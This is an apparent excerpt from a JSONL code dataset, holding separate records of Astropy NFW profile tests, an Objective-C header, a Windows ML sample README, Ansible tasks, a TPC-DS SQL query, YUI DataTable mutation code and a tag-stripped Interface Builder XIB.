(\"mean\", 200)\n mass = 1.0e14 * u.M_sun\n concentration = 12.3\n redshift = 1.5\n\n n200m = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n circ_v_200m = np.array([670.18236647, 1088.9843324, 1046.82334367, 1016.88890732, 987.97273478,\n 936.00207134, 891.80115232, 806.63307977, 744.91002191, 659.33401039,\n 557.82823549, 395.9735786, 318.29863006]) * (u.km / u.s)\n assert_quantity_allclose(n200m.circular_velocity(r_r), circ_v_200m)\n assert_quantity_allclose(n200m.r_max, (0.10196917920081808 * u.Mpc))\n assert_quantity_allclose(n200m.v_max, (1089.0224395818727 * (u.km / u.s)))\n\n # Virial Overdensity tests\n massfactor = (\"virial\")\n mass = 1.2e+45 * u.kg\n concentration = 2.4\n redshift = 0.34\n\n r_r = np.array([3.08567758e+20, 3.08567758e+21, 6.17135516e+21, 7.71419395e+21,\n 9.25703274e+21, 1.23427103e+22, 1.54283879e+22, 2.31425819e+22,\n 3.08567758e+22, 4.62851637e+22, 7.71419395e+22, 2.00569043e+23,\n 3.54852922e+23]) * u.m\n\n nvir = NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n circ_v_vir = np.array([205.87461783, 604.65091823, 793.9190629, 857.52516521, 908.90280843,\n 986.53582718, 1041.69089845, 1124.19719446, 1164.58270747, 1191.33193561,\n 1174.02934755, 1023.69360527, 895.52206321]) * (u.km / u.s)\n assert_quantity_allclose(nvir.circular_velocity(r_r), circ_v_vir)\n assert_quantity_allclose(nvir.r_max, (1.6484542328623448 * u.Mpc))\n assert_quantity_allclose(nvir.v_max, (1192.3130989914962 * (u.km / u.s)))\n\n\ndef test_NFW_exceptions_and_warnings_and_misc():\n \"\"\"Test NFW exceptions.\"\"\"\n\n # Arbitrary Test parameters\n mass = 2.0000000000000E15 * u.M_sun\n concentration = 8.5\n redshift = 0.63\n cosmo = cosmology.Planck15\n massfactor = (\"critical\", 200)\n\n r_r = np.array([1.00e+01, 1.00e+02, 2.00e+02, 2.50e+02, 3.00e+02, 4.00e+02, 5.00e+02,\n 7.50e+02, 1.00e+03, 1.50e+03, 2.50e+03, 6.50e+03, 1.15e+04]) * u.kpc\n\n # Massfactor exception tests\n with pytest.raises(ValueError) as exc:\n NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=(\"not\", \"virial\"))\n assert exc.value.args[0] == \"Massfactor 'not' not one of 'critical', 'mean', or 'virial'\"\n with pytest.raises(ValueError) as exc:\n NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=\"not virial\")\n assert exc.value.args[0] == \"Massfactor not virial string not of the form '#m', '#c', \" \\\n \"or 'virial'\"\n with pytest.raises(TypeError) as exc:\n NFW(mass=mass, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=200)\n assert exc.value.args[0] == \"Massfactor 200 not a tuple or string\"\n\n # Verify unitless mass\n # Density test\n n200c = NFW(mass=mass.value, concentration=concentration, redshift=redshift, cosmo=cosmo,\n massfactor=massfactor)\n assert_quantity_allclose(n200c(3000.0), (3.709693508e+12 * (u.solMass / u.Mpc ** 3),\n 7.376391187e+42 * (u.kg / u.Mpc ** 3)))\n\n # Circular velocity test with unitless mass\n circ_v_200c = np.array([702.45487454, 1812.4138346, 2150.50929296, 2231.5802568, 2283.96950242,\n 2338.45989696, 2355.78876772, 2332.41766543, 2276.89433811,\n 2154.53909153, 1950.07947819, 1512.37442943,\n 1260.94034541]) * (u.km / u.s)\n assert_quantity_allclose(n200c.circular_velocity(r_r), circ_v_200c)\n\n # Test Default Cosmology\n ncos = NFW(mass=mass, concentration=concentration, redshift=redshift)\n assert_quantity_allclose(ncos.A_NFW(concentration), 1.356554956501232)\n"} -{"text": "//\n// VirtualGameControllerTvOS.h\n// VirtualGameControllerTvOS\n//\n// Created by Rob Reuss on 10/23/15.\n// Copyright \u00a9 2015 Rob Reuss. All rights reserved.\n//\n\n#import \n\n//! Project version number for VirtualGameControllerTvOS.\nFOUNDATION_EXPORT double VirtualGameControllerTvOSVersionNumber;\n\n//! Project version string for VirtualGameControllerTvOS.\nFOUNDATION_EXPORT const unsigned char VirtualGameControllerTvOSVersionString[];\n\n// In this header, you should import all the public headers of your framework using statements like #import \n\n\n"} -{"text": "\n# SqueezeNet Object Detection sample\n\nThis UWP application uses SqueezeNet, a pre-trained machine learning model, to detect the predominant object in an image selected by the user from a file.\n\nThis sample demonstrates the use of the [Windows.AI.MachineLearning](https://docs.microsoft.com/uwp/api/windows.ai.machinelearning) API to load a model, bind an input image and an output tensor, and evaluate a binding.\n\nIf you would like to use a different model, then you can use [Netron](https://github.com/lutzroeder/Netron) to determine the input and output requirements of your ONNX model.\n\n## Prerequisites\n\n\n- [Visual Studio 2017 Version 15.7.4 or Newer](https://developer.microsoft.com/en-us/windows/downloads)\n- [Windows 10 - Build 17763 or higher](https://www.microsoft.com/en-us/software-download/windowsinsiderpreviewiso)\n- [Windows SDK - Build 17763 or higher](https://developer.microsoft.com/en-US/windows/downloads/windows-10-sdk)\n\n## Build the sample\n\n1. If you download the samples ZIP, be sure to unzip the entire archive, not just the folder with\n the sample you want to build.\n\n2. Start Microsoft Visual Studio 2017 and select **File** \\> **Open** \\> **Project/Solution**.\n\n3. Starting in the folder where you unzipped the samples, go to the Samples subfolder, then the\n subfolder for this specific sample. Double-click the Visual Studio solution file (.sln) file.\n\n4. Change the platform target default to x64 or x86 if you want to test on a non-ARM device.\n\n5. Press Ctrl+Shift+B, or select **Build** \\> **Build Solution**.\n\n## Run the sample\n\nThe next steps depend on whether you just want to deploy the sample or you want to both deploy and run it.\n\n### Deploying the sample\n\n- Select Build > Deploy Solution.\n\n### Deploying and running the sample\n\n- To debug the sample and then run it, press F5 or select Debug > Start Debugging. To run the sample without debugging, press Ctrl+F5 or selectDebug > Start Without Debugging.\n\n## License\n\nMIT. See [LICENSE file](https://github.com/Microsoft/Windows-Machine-Learning/blob/master/LICENSE).\n"} -{"text": "---\n- import_tasks: register.yml\n\n- import_tasks: config.yml\n\n- include_tasks: clone.yml\n when: qinling_dev_mode | bool\n\n- import_tasks: bootstrap.yml\n\n- name: Flush handlers\n meta: flush_handlers\n"} -{"text": "====\n---- QUERY: TPCDS-Q70\n\n with results as\n( select\n sum(ss_net_profit) as total_sum ,s_state ,s_county, 0 as gstate, 0 as g_county\n from\n store_sales\n ,date_dim d1\n ,store\n where\n -- d1.d_year = [YEAR]\n d1.d_month_seq between 1209 and 1209+11\n and d1.d_date_sk = ss_sold_date_sk\n and s_store_sk = ss_store_sk\n and s_state in\n ( select s_state\n from (select s_state as s_state,\n \t\t\t rank() over ( partition by s_state order by sum(ss_net_profit) desc) as ranking\n from store_sales, store, date_dim\n where d_month_seq between 1209 and 1209+11\n\t\t\t\t-- d_year =[YEAR]\n \t\t\t and d_date_sk = ss_sold_date_sk\n \t\t\t and s_store_sk = ss_store_sk\n group by s_state\n ) tmp1\n where ranking <= 5)\n group by s_state,s_county) ,\n\n results_rollup as\n( select total_sum ,s_state ,s_county, 0 as g_state, 0 as g_county, 0 as lochierarchy from results\n union\n select sum(total_sum) as total_sum,s_state, NULL as s_county, 0 as g_state, 1 as g_county, 1 as lochierarchy from results group by s_state\n union\n select sum(total_sum) as total_sum ,NULL as s_state ,NULL as s_county, 1 as g_state, 1 as g_county, 2 as lochierarchy from results)\n\n select total_sum ,s_state ,s_county, lochierarchy\n ,rank() over (\n \tpartition by lochierarchy,\n \tcase when g_county = 0 then s_state end\n \torder by total_sum desc) as rank_within_parent\n from results_rollup\n order by\n lochierarchy desc\n ,case when lochierarchy = 0 then s_state end\n ,rank_within_parent ;\n---- RESULTS\n---- TYPES\nINT, INT, STRING, DECIMAL\n====\n"} -{"text": "/**\nAdds mutation convenience methods such as `table.addRow(data)` to `Y.DataTable`. (or other built class).\n\n@module datatable\n@submodule datatable-mutable\n@since 3.5.0\n**/\nvar toArray = Y.Array,\n YLang = Y.Lang,\n isString = YLang.isString,\n isArray = YLang.isArray,\n isObject = YLang.isObject,\n isNumber = YLang.isNumber,\n arrayIndex = Y.Array.indexOf,\n Mutable;\n\n/**\n_API docs for this extension are included in the DataTable class._\n\nClass extension to add mutation convenience methods to `Y.DataTable` (or other\nbuilt class).\n\nColumn mutation methods are paired with new custom events:\n\n * addColumn\n * removeColumn\n * modifyColumn\n * moveColumn\n\nRow mutation events are bubbled from the DataTable's `data` ModelList through\nthe DataTable instance.\n\n@class DataTable.Mutable\n@for DataTable\n@since 3.5.0\n**/\nY.namespace('DataTable').Mutable = Mutable = function () {};\n\nMutable.ATTRS = {\n /**\n Controls whether `addRow`, `removeRow`, and `modifyRow` should trigger the\n underlying Model's sync layer by default.\n\n When `true`, it is unnecessary to pass the \"sync\" configuration property to\n those methods to trigger per-operation sync.\n\n\n @attribute autoSync\n @type {Boolean}\n @default `false`\n @since 3.5.0\n **/\n autoSync: {\n value: false,\n validator: YLang.isBoolean\n }\n};\n\nY.mix(Mutable.prototype, {\n /**\n Adds the column configuration to the DataTable's `columns` configuration.\n If the `index` parameter is supplied, it is injected at that index. If the\n table has nested headers, inject a subcolumn by passing an array of indexes\n to identify the new column's final location.\n\n The `index` parameter is required if adding a nested column.\n\n This method is a convienience method for fetching the DataTable's `columns`\n attribute, updating it, and calling\n `table.set('columns', _updatedColumnsDefs_)`\n\n For example:\n\n 
    // Becomes last column\n    table.addColumn('name');\n\n    // Inserted after the current second column, moving the current third column\n    // to index 4\n    table.addColumn({ key: 'price', formatter: currencyFormatter }, 2 );\n\n    // Insert a new column in a set of headers three rows deep.  The index array\n    // translates to\n    // [ 2, --  in the third column's children\n    //   1, --  in the second child's children\n    //   3 ] -- as the fourth child column\n    table.addColumn({ key: 'age', sortable: true }, [ 2, 1, 3 ]);\n
    \n\n @method addColumn\n @param {Object|String} config The new column configuration object\n @param {Number|Number[]} [index] the insertion index\n @return {DataTable}\n @chainable\n @since 3.5.0\n **/\n addColumn: function (config, index) {\n if (isString(config)) {\n config = { key: config };\n }\n\n if (config) {\n if (arguments.length < 2 || (!isNumber(index) && !isArray(index))) {\n index = this.get('columns').length;\n }\n\n this.fire('addColumn', {\n column: config,\n index: index\n });\n }\n return this;\n },\n\n /**\n Updates an existing column definition. Fires the `modifyColumn` event.\n\n For example:\n\n 
    // Add a formatter to the existing 'price' column definition\n    table.modifyColumn('price', { formatter: currencyFormatter });\n\n    // Change the label on a header cell in a set of nested headers three rows\n    // deep.  The index array translates to\n    // [ 2,  -- in the third column's children\n    //   1,  -- the second child\n    //   3 ] -- the fourth child column\n    table.modifyColumn([2, 1, 3], { label: 'Experience' });\n
    \n\n @method modifyColumn\n @param {String|Number|Number[]|Object} name The column key, name, index, or\n current configuration object\n @param {Object} config The new column configuration properties\n @return {DataTable}\n @chainable\n @since 3.5.0\n **/\n modifyColumn: function (name, config) {\n if (isString(config)) {\n config = { key: config };\n }\n\n if (isObject(config)) {\n this.fire('modifyColumn', {\n column: name,\n newColumnDef: config\n });\n }\n\n return this;\n },\n\n /**\n Moves an existing column to a new location. Fires the `moveColumn` event.\n\n The destination index can be a number or array of numbers to place a column\n header in a nested header row.\n\n @method moveColumn\n @param {String|Number|Number[]|Object} name The column key, name, index, or\n current configuration object\n @param {Number|Number[]} index The destination index of the column\n @return {DataTable}\n @chainable\n @since 3.5.0\n **/\n moveColumn: function (name, index) {\n if (name !== undefined && (isNumber(index) || isArray(index))) {\n this.fire('moveColumn', {\n column: name,\n index: index\n });\n }\n\n return this;\n },\n\n /**\n Removes an existing column. Fires the `removeColumn` event.\n\n @method removeColumn\n @param {String|Number|Number[]|Object} name The column key, name, index, or\n current configuration object\n @return {DataTable}\n @chainable\n @since 3.5.0\n **/\n removeColumn: function (name) {\n if (name !== undefined) {\n this.fire('removeColumn', {\n column: name\n });\n }\n\n return this;\n },\n\n /**\n Adds a new record to the DataTable's `data` ModelList. Record data can be\n an object of field values or an instance of the DataTable's configured\n `recordType` class.\n\n This relays all parameters to the `data` ModelList's `add` method.\n\n If a configuration object is passed as a second argument, and that object\n has `sync: true` set, the underlying Model will be `save()`d.\n\n If the DataTable's `autoSync` attribute is set to `true`, the additional\n argument is not needed.\n\n If syncing and the last argument is a function, that function will be used\n as a callback to the Model's `save()` method.\n\n @method addRow\n @param {Object} data The data or Model instance for the new record\n @param {Object} [config] Configuration to pass along\n @param {Function} [callback] Callback function for Model's `save()`\n @param {Error|null} callback.err If an error occurred or validation\n failed, this parameter will contain the error. If the sync operation\n succeeded, _err_ will be `null`.\n @param {Any} callback.response The server's response. This value will\n be passed to the `parse()` method, which is expected to parse it and\n return an attribute hash.\n @return {DataTable}\n @chainable\n @since 3.5.0\n **/\n addRow: function (data, config) {\n // Allow autoSync: true + addRow({ data }, { sync: false })\n var sync = (config && ('sync' in config)) ?\n config.sync :\n this.get('autoSync'),\n models, model, i, len, args;\n\n if (data && this.data) {\n models = this.data.add.apply(this.data, arguments);\n\n if (sync) {\n models = toArray(models);\n args = toArray(arguments, 1, true);\n\n for (i = 0, len = models.length; i < len; ++i) {\n model = models[i];\n\n if (model.isNew()) {\n models[i].save.apply(models[i], args);\n }\n }\n }\n }\n\n return this;\n },\n\n /**\n Removes a record from the DataTable's `data` ModelList. The record can be\n provided explicitly or targeted by it's `id` (see ModelList's `getById`\n method), `clientId`, or index in the ModelList.\n\n After locating the target Model, this relays the Model and all other passed\n arguments to the `data` ModelList's `remove` method.\n\n If a configuration object is passed as a second argument, and that object\n has `sync: true` set, the underlying Model will be destroyed, passing\n `{ delete: true }` to trigger calling the Model's sync layer.\n\n If the DataTable's `autoSync` attribute is set to `true`, the additional\n argument is not needed.\n\n If syncing and the last argument is a function, that function will be used\n as a callback to the Model's `destroy()` method.\n\n @method removeRow\n @param {Object|String|Number} id The Model instance or identifier\n @param {Object} [config] Configuration to pass along\n @param {Function} [callback] Callback function for Model's `save()`\n @param {Error|null} callback.err If an error occurred or validation\n failed, this parameter will contain the error. If the sync operation\n succeeded, _err_ will be `null`.\n @param {Any} callback.response The server's response. This value will\n be passed to the `parse()` method, which is expected to parse it and\n return an attribute hash.\n @return {DataTable}\n @chainable\n @since 3.5.0\n **/\n removeRow: function (id, config) {\n var modelList = this.data,\n // Allow autoSync: true + addRow({ data }, { sync: false })\n sync = (config && ('sync' in config)) ?\n config.sync :\n this.get('autoSync'),\n models, model, i, len, args;\n\n // TODO: support removing via DOM element. This should be relayed to View\n if (isObject(id) && id instanceof this.get('recordType')) {\n model = id;\n } else if (modelList && id !== undefined) {\n model = modelList.getById(id) ||\n modelList.getByClientId(id) ||\n modelList.item(id);\n }\n\n if (model) {\n args = toArray(arguments, 1, true);\n\n models = modelList.remove.apply(modelList,\n [model].concat(args));\n\n if (sync) {\n if (!isObject(args[0])) {\n args.unshift({});\n }\n\n args[0]['delete'] = true;\n\n models = toArray(models);\n\n for (i = 0, len = models.length; i < len; ++i) {\n model = models[i];\n model.destroy.apply(model, args);\n }\n }\n }\n\n return this;\n },\n\n /**\n Updates an existing record in the DataTable's `data` ModelList. The record\n can be provided explicitly or targeted by it's `id` (see ModelList's\n `getById` method), `clientId`, or index in the ModelList.\n\n After locating the target Model, this relays the all other passed\n arguments to the Model's `setAttrs` method.\n\n If a configuration object is passed as a second argument, and that object\n has `sync: true` set, the underlying Model will be `save()`d.\n\n If the DataTable's `autoSync` attribute is set to `true`, the additional\n argument is not needed.\n\n If syncing and the last argument is a function, that function will be used\n as a callback to the Model's `save()` method.\n\n @method modifyRow\n @param {Object|String|Number} id The Model instance or identifier\n @param {Object} data New data values for the Model\n @param {Object} [config] Configuration to pass along to `setAttrs()`\n @param {Function} [callback] Callback function for Model's `save()`\n @param {Error|null} callback.err If an error occurred or validation\n failed, this parameter will contain the error. If the sync operation\n succeeded, _err_ will be `null`.\n @param {Any} callback.response The server's response. This value will\n be passed to the `parse()` method, which is expected to parse it and\n return an attribute hash.\n @return {DataTable}\n @chainable\n @since 3.5.0\n **/\n modifyRow: function (id, data, config) {\n var modelList = this.data,\n // Allow autoSync: true + addRow({ data }, { sync: false })\n sync = (config && ('sync' in config)) ?\n config.sync :\n this.get('autoSync'),\n model, args;\n\n if (isObject(id) && id instanceof this.get('recordType')) {\n model = id;\n } else if (modelList && id !== undefined) {\n model = modelList.getById(id) ||\n modelList.getByClientId(id) ||\n modelList.item(id);\n }\n\n if (model && isObject(data)) {\n args = toArray(arguments, 1, true);\n\n model.setAttrs.apply(model, args);\n\n if (sync && !model.isNew()) {\n model.save.apply(model, args);\n }\n }\n\n return this;\n },\n\n // --------------------------------------------------------------------------\n // Protected properties and methods\n // --------------------------------------------------------------------------\n\n /**\n Default function for the `addColumn` event.\n\n Inserts the specified column at the provided index.\n\n @method _defAddColumnFn\n @param {EventFacade} e The `addColumn` event\n @param {Object} e.column The new column definition object\n @param {Number|Number[]} e.index The array index to insert the new column\n @protected\n @since 3.5.0\n **/\n _defAddColumnFn: function (e) {\n var index = toArray(e.index),\n columns = this.get('columns'),\n cols = columns,\n i, len;\n\n for (i = 0, len = index.length - 1; cols && i < len; ++i) {\n cols = cols[index[i]] && cols[index[i]].children;\n }\n\n if (cols) {\n cols.splice(index[i], 0, e.column);\n\n this.set('columns', columns, { originEvent: e });\n } else { Y.log('addColumn index not findable', 'warn', 'datatable');\n }\n },\n\n /**\n Default function for the `modifyColumn` event.\n\n Mixes the new column properties into the specified column definition.\n\n @method _defModifyColumnFn\n @param {EventFacade} e The `modifyColumn` event\n @param {Object|String|Number|Number[]} e.column The column definition object or identifier\n @param {Object} e.newColumnDef The properties to assign to the column\n @protected\n @since 3.5.0\n **/\n _defModifyColumnFn: function (e) {\n var columns = this.get('columns'),\n column = this.getColumn(e.column);\n\n if (column) {\n Y.mix(column, e.newColumnDef, true);\n\n this.set('columns', columns, { originEvent: e });\n } else { Y.log('Could not locate column index to modify column', 'warn', 'datatable');\n }\n },\n\n /**\n Default function for the `moveColumn` event.\n\n Removes the specified column from its current location and inserts it at the\n specified array index (may be an array of indexes for nested headers).\n\n @method _defMoveColumnFn\n @param {EventFacade} e The `moveColumn` event\n @param {Object|String|Number|Number[]} e.column The column definition object or identifier\n @param {Object} e.index The destination index to move to\n @protected\n @since 3.5.0\n **/\n _defMoveColumnFn: function (e) {\n var columns = this.get('columns'),\n column = this.getColumn(e.column),\n toIndex = toArray(e.index),\n fromCols, fromIndex, toCols, i, len;\n\n if (column) {\n fromCols = column._parent ? column._parent.children : columns;\n fromIndex = arrayIndex(fromCols, column);\n\n if (fromIndex > -1) {\n toCols = columns;\n\n for (i = 0, len = toIndex.length - 1; toCols && i < len; ++i) {\n toCols = toCols[toIndex[i]] && toCols[toIndex[i]].children;\n }\n\n if (toCols) {\n len = toCols.length;\n fromCols.splice(fromIndex, 1);\n toIndex = toIndex[i];\n\n if (len > toCols.lenth) {\n // spliced off the same array, so adjust destination\n // index if necessary\n if (fromIndex < toIndex) {\n toIndex--;\n }\n }\n\n toCols.splice(toIndex, 0, column);\n\n this.set('columns', columns, { originEvent: e });\n } else { Y.log('Column [' + e.column + '] could not be moved. Destination index invalid for moveColumn', 'warn', 'datatable');\n }\n }\n } else { Y.log('Column [' + e.column + '] not found for moveColumn', 'warn', 'datatable');\n }\n },\n\n /**\n Default function for the `removeColumn` event.\n\n Splices the specified column from its containing columns array.\n\n @method _defRemoveColumnFn\n @param {EventFacade} e The `removeColumn` event\n @param {Object|String|Number|Number[]} e.column The column definition object or identifier\n @protected\n @since 3.5.0\n **/\n _defRemoveColumnFn: function (e) {\n var columns = this.get('columns'),\n column = this.getColumn(e.column),\n cols, index;\n\n if (column) {\n cols = column._parent ? column._parent.children : columns;\n index = Y.Array.indexOf(cols, column);\n\n if (index > -1) {\n cols.splice(index, 1);\n\n this.set('columns', columns, { originEvent: e });\n }\n } else { Y.log('Could not locate column [' + e.column + '] for removeColumn', 'warn', 'datatable');\n }\n },\n\n /**\n Publishes the events used by the mutation methods:\n\n * addColumn\n * removeColumn\n * modifyColumn\n * moveColumn\n\n @method initializer\n @protected\n @since 3.5.0\n **/\n initializer: function () {\n this.publish({\n addColumn: { defaultFn: Y.bind('_defAddColumnFn', this) },\n removeColumn: { defaultFn: Y.bind('_defRemoveColumnFn', this) },\n moveColumn: { defaultFn: Y.bind('_defMoveColumnFn', this) },\n modifyColumn: { defaultFn: Y.bind('_defModifyColumnFn', this) }\n });\n }\n});\n\n/**\nAdds an array of new records to the DataTable's `data` ModelList. Record data\ncan be an array of objects containing field values or an array of instance of\nthe DataTable's configured `recordType` class.\n\nThis relays all parameters to the `data` ModelList's `add` method.\n\nTechnically, this is an alias to `addRow`, but please use the appropriately\nnamed method for readability.\n\nIf a configuration object is passed as a second argument, and that object\nhas `sync: true` set, the underlying Models will be `save()`d.\n\nIf the DataTable's `autoSync` attribute is set to `true`, the additional\nargument is not needed.\n\nIf syncing and the last argument is a function, that function will be used\nas a callback to each Model's `save()` method.\n\n@method addRows\n@param {Object[]} data The data or Model instances to add\n@param {Object} [config] Configuration to pass along\n@param {Function} [callback] Callback function for each Model's `save()`\n @param {Error|null} callback.err If an error occurred or validation\n failed, this parameter will contain the error. If the sync operation\n succeeded, _err_ will be `null`.\n @param {Any} callback.response The server's response. This value will\n be passed to the `parse()` method, which is expected to parse it and\n return an attribute hash.\n@return {DataTable}\n@chainable\n@since 3.5.0\n**/\nMutable.prototype.addRows = Mutable.prototype.addRow;\n\n// Add feature APIs to public Y.DataTable class\nif (YLang.isFunction(Y.DataTable)) {\n Y.Base.mix(Y.DataTable, [Mutable]);\n}\n\n/**\nFired by the `addColumn` method.\n\n@event addColumn\n@preventable _defAddColumnFn\n@param {Object} column The new column definition object\n@param {Number|Number[]} index The array index to insert the new column\n@since 3.5.0\n**/\n\n/**\nFired by the `removeColumn` method.\n\n@event removeColumn\n@preventable _defRemoveColumnFn\n@param {Object|String|Number|Number[]} column The column definition object or identifier\n@since 3.5.0\n**/\n\n/**\nFired by the `modifyColumn` method.\n\n@event modifyColumn\n@preventable _defModifyColumnFn\n@param {Object|String|Number|Number[]} column The column definition object or identifier\n@param {Object} newColumnDef The properties to assign to the column\n@since 3.5.0\n**/\n\n/**\nFired by the `moveColumn` method.\n\n@event moveColumn\n@preventable _defMoveColumnFn\n@param {Object|String|Number|Number[]} column The column definition object or identifier\n@param {Object} index The destination index to move to\n@since 3.5.0\n**/\n\n"} -{"text": "\n\n\t\n\t\t800\n\t\t10C540\n\t\t760\n\t\t1038.25\n\t\t458.00\n\t\t\n\t\t\tcom.apple.InterfaceBuilder.IBCocoaTouchPlugin\n\t\t\t82\n\t\t\n\t\t\n\t\t\tYES\n\t\t\t\n\t\t\n\t\t\n\t\t\tYES\n\t\t\tcom.apple.InterfaceBuilder.IBCocoaTouchPlugin\n\t\t\n\t\t\n\t\t\tYES\n\t\t\t\n\t\t\t\tYES\n\t\t\t\n\t\t\t\n\t\t\t\tYES\n\t\t\t\n\t\t\n\t\t\n\t\t\tYES\n\t\t\t\n\t\t\t\tIBFilesOwner\n\t\t\t\tIBCocoaTouchFramework\n\t\t\t\n\t\t\t\n\t\t\t\tIBFirstResponder\n\t\t\t\tIBCocoaTouchFramework\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t274\n\t\t\t\t{768, 1004}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t3\n\t\t\t\t\tMQA\n\t\t\t\t\t\n\t\t\t\t\t\t2\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t2\n\t\t\t\t\n\t\t\t\tIBIPadFramework\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\tYES\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\tview\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t3\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\tYES\n\t\t\t\t\t\n\t\t\t\t\t\t0\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t-1\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tFile's Owner\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t-2\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t2\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\tYES\n\t\t\t\t\n\t\t\t\t\tYES\n\t\t\t\t\t-1.CustomClassName\n\t\t\t\t\t-2.CustomClassName\n\t\t\t\t\t2.IBEditorWindowLastContentRect\n\t\t\t\t\t2.IBPluginDependency\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tYES\n\t\t\t\t\tDisplaying_Pins_with_Different_Colors_on_a_Map_ViewViewController\n\t\t\t\t\tUIResponder\n\t\t\t\t\t{{513, 0}, {783, 856}}\n\t\t\t\t\tcom.apple.InterfaceBuilder.IBCocoaTouchPlugin\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\tYES\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tYES\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\tYES\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tYES\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t3\n\t\t\n\t\t\n\t\t\t\n\t\t\t\tYES\n\t\t\t\t\n\t\t\t\t\tDisplaying_Pins_with_Different_Colors_on_a_Map_ViewViewController\n\t\t\t\t\tUIViewController\n\t\t\t\t\t\n\t\t\t\t\t\tIBProjectSource\n\t\t\t\t\t\tDisplaying_Pins_with_Different_Colors_on_a_Map_ViewViewController.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\tYES\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSError.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSFileManager.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSKeyValueCoding.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSKeyValueObserving.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSKeyedArchiver.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSNetServices.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSObject.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSPort.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSRunLoop.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSStream.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSThread.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSURL.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSURLConnection.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tFoundation.framework/Headers/NSXMLParser.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UIAccessibility.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UINibLoading.h\n\t\t\t\